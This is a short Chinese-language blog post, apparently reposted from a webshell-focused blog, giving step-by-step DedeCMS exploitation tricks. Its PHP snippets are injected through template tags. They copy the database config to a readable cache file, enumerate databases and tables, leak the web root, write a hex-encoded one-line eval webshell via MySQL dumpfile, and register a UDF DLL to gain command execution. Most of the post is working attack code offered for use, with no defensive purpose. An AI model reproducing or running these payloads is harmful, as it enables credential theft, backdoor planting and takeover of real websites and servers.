dede0day 利用小技巧
By:zafe
遇到可写不可执行的,可执行不可写的站的也许用的上
{dede:php}copy('../data/common.inc.php','../data/cache/test.txt');{/dede:php} |
然后去xxx.com/data/cache/test.txt看数据库信息,如果是root那就happy吧
如果是普通用户,首先看下有哪些数据库:
//自行把{dede:php}{/dede:php}之间的内容替换成下面的,结果都是到data/cache/test.txt去看 |
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息 $xresult =mysql_query("show datebases;",$xdb); while($row = mysql_fetch_array($xresult)) { $fp = fopen("../data/cache/test.txt", 'a'); fwrite($fp,$row['Database']."\n"); fclose($fp); } mysql_close($xdb); |
列表:
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息 $xresult =mysql_query("show tables from mysql;",$xdb); while($row = mysql_fetch_array($xresult)) { $fp = fopen("../data/cache/test.txt", 'a'); fwrite($fp,$row['Tables_in_mysql ']."\n");//请自行替换,mysql是数据库名 fclose($fp); } mysql_close($xdb); |
获取其他数据库信息,自己更改mysql_query()和$row[]就行了
获取网站路径:
$fp = fopen("dede/data/cache/test.txt", 'a'); fwrite($fp,$_SERVER['DOCUMENT_ROOT']."\n"); fclose($fp); |
如果有数据库对web目录有权限写:
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息 mysql_query("select convert(0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,CHAR) into dumpfile 'E:/wwwroot/test.php';",$xdb);//一句话,密码c mysql_close($xdb); |
注册udf:
$xdb = mysql_connect("localhost","user","password"); $xresult =mysql_query("create table mysql.udftmp (c blob);",$xdb); mysql_query("insert into mysql.udftmp values(convert(0x,CHAR));",$xdb);//0x后接你udf的16进制代码 mysql_query("select c from mysql.udftmp into dumpfile 'c:\\windows\\\system32\\udf.dll'",$xdb); mysql_query("drop table mysql.udftmp;",$xdb); mysql_query("create function cmdshell returns string soname 'udf.dll';",$xdb); mysql_close($xdb); //注册好后,执行命令把上面的sql改下就行了 |
补充:
data/cache/test.txt 不是可写了吗,一般数据库配置文件都可以写的。
一般数据库配置文件权限都是设置可写不可执行,至少目前没碰到不可写的,然后很多文件都调用数据库配置文件,比如:plus/heightsearch.php 然后带上你的家伙。
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2137.html